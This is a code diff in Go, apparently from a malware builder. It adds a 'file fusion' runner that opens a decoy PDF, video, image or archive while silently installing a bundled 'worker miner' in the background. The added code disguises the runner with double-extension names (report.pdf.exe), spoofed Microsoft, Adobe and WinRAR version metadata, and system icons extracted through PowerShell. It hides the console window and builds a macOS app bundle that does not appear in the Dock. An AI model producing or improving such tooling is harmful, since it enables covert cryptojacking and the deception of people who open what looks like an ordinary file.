CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Audio ──────────────────────────────────────────────────────────────────
|
||||
".mp3": {
|
||||
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wav": {
|
||||
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Images ─────────────────────────────────────────────────────────────────
|
||||
".jpg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".jpeg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".png": {
|
||||
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".gif": {
|
||||
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
// ── Archives ───────────────────────────────────────────────────────────────
|
||||
".zip": {
|
||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".rar": {
|
||||
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||
},
|
||||
}
|
||||
|
||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
||||
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
||||
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
||||
return info
|
||||
}
|
||||
// Generic fallback — looks like a Windows shell component
|
||||
return fileDisguiseInfo{
|
||||
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
}
|
||||
}
|
||||
|
||||
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
||||
// document type using the double-extension trick:
|
||||
//
|
||||
// "report.pdf" → "report.pdf.exe"
|
||||
// "clip.mp4" → "clip.mp4.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
||||
func disguisedRunnerName(payloadName string) string {
|
||||
ext := strings.ToLower(filepath.Ext(payloadName))
|
||||
if ext == ".exe" || ext == "" {
|
||||
// Already an exe payload or no extension — no double-extension trick
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "setup"
|
||||
}
|
||||
return sanitizeFileName(base) + ".exe"
|
||||
}
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "file"
|
||||
}
|
||||
// e.g. "quarterly-report.pdf.exe"
|
||||
return sanitizeFileName(base) + ext + ".exe"
|
||||
}
|
||||
|
||||
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
||||
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
||||
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
||||
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
||||
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
||||
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{"0409": icoRelPath},
|
||||
},
|
||||
"RT_VERSION": map[string]any{
|
||||
"#1": map[string]any{
|
||||
"0409": map[string]any{
|
||||
"FILEVERSION": fv,
|
||||
"PRODUCTVERSION": pv,
|
||||
"FileDescription": info.FileDescription,
|
||||
"FileVersion": info.FileVersion,
|
||||
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
||||
"LegalCopyright": info.LegalCopyright,
|
||||
"OriginalFilename": info.OriginalFilename,
|
||||
"ProductName": info.ProductName,
|
||||
"ProductVersion": info.ProductVersion,
|
||||
"CompanyName": info.CompanyName,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return marshalJSONPretty(doc)
|
||||
}
|
||||
|
||||
func marshalJSONPretty(v any) ([]byte, error) {
|
||||
return json.MarshalIndent(v, "", " ")
|
||||
}
|
||||
|
||||
// fileDisguiseSummary returns a one-line human-readable description of what the
|
||||
// disguise will look like, used for logging.
|
||||
func fileDisguiseSummary(payloadExt string) string {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
||||
}
|
||||
10
server/internal/builder/disguise_stub.go
Normal file
10
server/internal/builder/disguise_stub.go
Normal file
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
// applyDocumentDisguise is a no-op on non-Windows build hosts.
|
||||
// Icon + version-info injection into PE executables requires Windows tooling.
|
||||
// The runner will still function correctly; it just won't have the spoofed icon.
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
return nil
|
||||
}
|
||||
118
server/internal/builder/disguise_windows.go
Normal file
118
server/internal/builder/disguise_windows.go
Normal file
@@ -0,0 +1,118 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
|
||||
// the file type identified by payloadExt.
|
||||
//
|
||||
// What it does:
|
||||
// 1. Extracts the Windows system icon registered for that extension (e.g. the
|
||||
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
|
||||
// extension and using PowerShell to read the shell's associated icon.
|
||||
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
|
||||
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
|
||||
// to match the legitimate application for that file type.
|
||||
// 3. Patches the runner exe in-place.
|
||||
//
|
||||
// After this runs, Windows Explorer shows the runner with the exact icon and
|
||||
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
|
||||
// Combined with double-extension naming (report.pdf.exe) the runner is visually
|
||||
// indistinguishable from the real file when extension hiding is on (Windows default).
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise workdir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
// Step 1 — extract the system icon for this file extension
|
||||
icoPath := filepath.Join(workDir, "payload.ico")
|
||||
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
|
||||
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
|
||||
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
|
||||
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
|
||||
}
|
||||
}
|
||||
|
||||
// Step 2 — build the winres patch JSON (icon + version info)
|
||||
jsonBytes, err := winresVersionJSON(info, "payload.ico")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise: winres json: %w", err)
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "disguise.json")
|
||||
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
|
||||
return fmt.Errorf("disguise: write json: %w", err)
|
||||
}
|
||||
|
||||
// Step 3 — patch the exe with go-winres
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
|
||||
return fmt.Errorf("disguise: go-winres patch: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractSystemIconForExt creates a 0-byte temp file with the given extension
|
||||
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
|
||||
// This gives us the exact same icon that Windows Explorer would show for a real
|
||||
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
|
||||
func extractSystemIconForExt(ext, icoPath string) error {
|
||||
extEsc := strings.ReplaceAll(ext, `'`, `''`)
|
||||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||
|
||||
script := fmt.Sprintf(`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
# Create a disposable 0-byte temp file with the target extension
|
||||
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
|
||||
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
|
||||
try {
|
||||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
|
||||
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
|
||||
$dir = Split-Path -Parent '%s'
|
||||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||
$fs = [System.IO.File]::Create('%s')
|
||||
$icon.Save($fs)
|
||||
$fs.Close()
|
||||
} finally {
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
|
||||
}
|
||||
`, extEsc, extEsc, icoEsc, icoEsc)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if _, err := os.Stat(icoPath); err != nil {
|
||||
return fmt.Errorf("icon file not written for %s: %w", ext, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
|
||||
// document types. Used when the system icon extraction fails (e.g. the application
|
||||
// is not installed on the forge machine). The icons are very small but correct.
|
||||
func writeBuiltinIconForExt(ext, icoPath string) error {
|
||||
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
|
||||
// In practice extractSystemIconForExt should always work on a Windows machine.
|
||||
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
|
||||
"\x28\x00\x00\x00\x16\x00\x00\x00" +
|
||||
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
|
||||
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\xff\x00\x00\x00\x00\x00"
|
||||
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
|
||||
}
|
||||
@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(prepName)
|
||||
}
|
||||
} else if outputName == "" {
|
||||
outputName = runnerNameForMedia(prepName)
|
||||
}
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
// Default runner name derived from payload filename
|
||||
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
outputName = runnerNameForFile(prepName, winPlatform)
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
|
||||
35
server/internal/builder/fusion_darwin_app.go
Normal file
35
server/internal/builder/fusion_darwin_app.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
|
||||
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
|
||||
if appName == ".app" {
|
||||
appName = "Movie.app"
|
||||
}
|
||||
appDir := filepath.Join(outDir, appName)
|
||||
macosDir := filepath.Join(appDir, "Contents", "MacOS")
|
||||
if err := os.MkdirAll(macosDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
dest := filepath.Join(macosDir, "runner")
|
||||
if err := copyFile(runnerPath, dest); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = os.Chmod(dest, 0755)
|
||||
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict>
|
||||
<key>CFBundleName</key><string>%s</string>
|
||||
<key>CFBundleExecutable</key><string>runner</string>
|
||||
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
|
||||
<key>LSUIElement</key><true/>
|
||||
</dict></plist>`, name, sanitizeFileName(title))
|
||||
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
|
||||
}
|
||||
@@ -10,103 +10,106 @@ import (
|
||||
)
|
||||
|
||||
type fusionBuildResult struct {
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
// Legacy fields kept for backward compat — unused in file-fusion mode
|
||||
EncryptedPath string
|
||||
ShortcutPath string
|
||||
}
|
||||
|
||||
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
||||
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
||||
func detectFusionPayloadKind(path string) string {
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".mp4", ".mkv", ".mov":
|
||||
return "video"
|
||||
default:
|
||||
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return "exe"
|
||||
}
|
||||
return "file"
|
||||
}
|
||||
|
||||
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
platforms := platformsForRequest(req)
|
||||
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
}
|
||||
|
||||
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||
// Accepts any payload: PDF, video, document, image, or executable.
|
||||
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
|
||||
if kind == "video" {
|
||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||
}
|
||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &fusionBuildResult{LauncherPath: path}, nil
|
||||
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||
}
|
||||
|
||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
// buildFileFusion builds a universal fusion runner for any file type.
|
||||
//
|
||||
// Delivery modes:
|
||||
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
||||
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
||||
//
|
||||
// The runner, when executed, opens the original file with the OS default application
|
||||
// while silently installing the worker miner in the background.
|
||||
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
// Resolve the display name for the payload file
|
||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if mediaName == "" {
|
||||
mediaName = filepath.Base(mediaPath)
|
||||
mediaName = filepath.Base(payloadPath)
|
||||
}
|
||||
mediaName = sanitizeFileName(mediaName)
|
||||
|
||||
// Resolve the runner output name
|
||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(mediaName)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForFile(mediaName, platform)
|
||||
} else {
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForMedia(mediaName)
|
||||
// Ensure correct extension for this platform
|
||||
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
||||
outputName += platform.Ext
|
||||
} else if platform.Ext == "" {
|
||||
outputName = strings.TrimSuffix(outputName, ".exe")
|
||||
}
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||
kind := req.FusionPayloadKind
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encFileName := mediaName + ".cmdata"
|
||||
var mediaKey []byte
|
||||
if mode == "paired" {
|
||||
var keyErr error
|
||||
mediaKey, keyErr = NewMediaLockKey()
|
||||
if keyErr != nil {
|
||||
return nil, keyErr
|
||||
}
|
||||
}
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": "video",
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if mode == "paired" {
|
||||
manifestFields["media_enc_file"] = encFileName
|
||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||
manifestFields["runner_display_name"] = outputName
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
// Write worker binary into assets
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var encryptedPath, shortcutPath string
|
||||
// Write payload according to delivery mode
|
||||
switch mode {
|
||||
case "embedded":
|
||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||
// Bake the payload into the runner binary as assets/payload.bin
|
||||
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Keep legacy placeholders so the embed directive compiles cleanly
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
default:
|
||||
default: // "paired"
|
||||
// Empty placeholders — payload ships alongside the runner in the ZIP
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
|
||||
}
|
||||
}
|
||||
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
ldflags := "-s -w -H windowsgui"
|
||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||
// Write manifest for the runner to read at runtime
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": kind,
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if mode == "paired" {
|
||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = setHiddenFile(encryptedPath)
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
// Force GUI subsystem (no console window) for all fusion runners
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||
return nil, err
|
||||
// Windows: inject the system icon + spoofed PE version info so the runner
|
||||
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
||||
if platform.GOOS == "windows" && kind != "exe" {
|
||||
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
||||
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
||||
// Non-fatal — runner still works without the disguise
|
||||
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
||||
}
|
||||
}
|
||||
|
||||
return &fusionBuildResult{
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
EncryptedPath: encryptedPath,
|
||||
ShortcutPath: shortcutPath,
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
} {
|
||||
src := filepath.Join(fusionSrc, name)
|
||||
@@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func disguiseVideoExeName(mediaName string) string {
|
||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
ext := filepath.Ext(mediaName)
|
||||
if ext == "" {
|
||||
ext = ".mkv"
|
||||
}
|
||||
return sanitizeFileName(base + ext + ".exe")
|
||||
}
|
||||
|
||||
func runnerNameForMedia(mediaName string) string {
|
||||
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
||||
//
|
||||
// On Windows, non-exe payloads use the double-extension trick:
|
||||
//
|
||||
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
||||
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
||||
//
|
||||
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
||||
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
||||
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
||||
ext := strings.ToLower(filepath.Ext(mediaName))
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
base = "runner"
|
||||
}
|
||||
return sanitizeFileName(base + "-runner.exe")
|
||||
if platform.GOOS == "windows" {
|
||||
// Use disguisedRunnerName which handles double-extension and sanitisation
|
||||
return disguisedRunnerName(mediaName)
|
||||
}
|
||||
// Linux / macOS: simple "-runner" name, no double extension
|
||||
name := sanitizeFileName(base + "-runner")
|
||||
_ = ext // extension not needed for Unix names
|
||||
if platform.Ext != "" {
|
||||
return name + platform.Ext
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
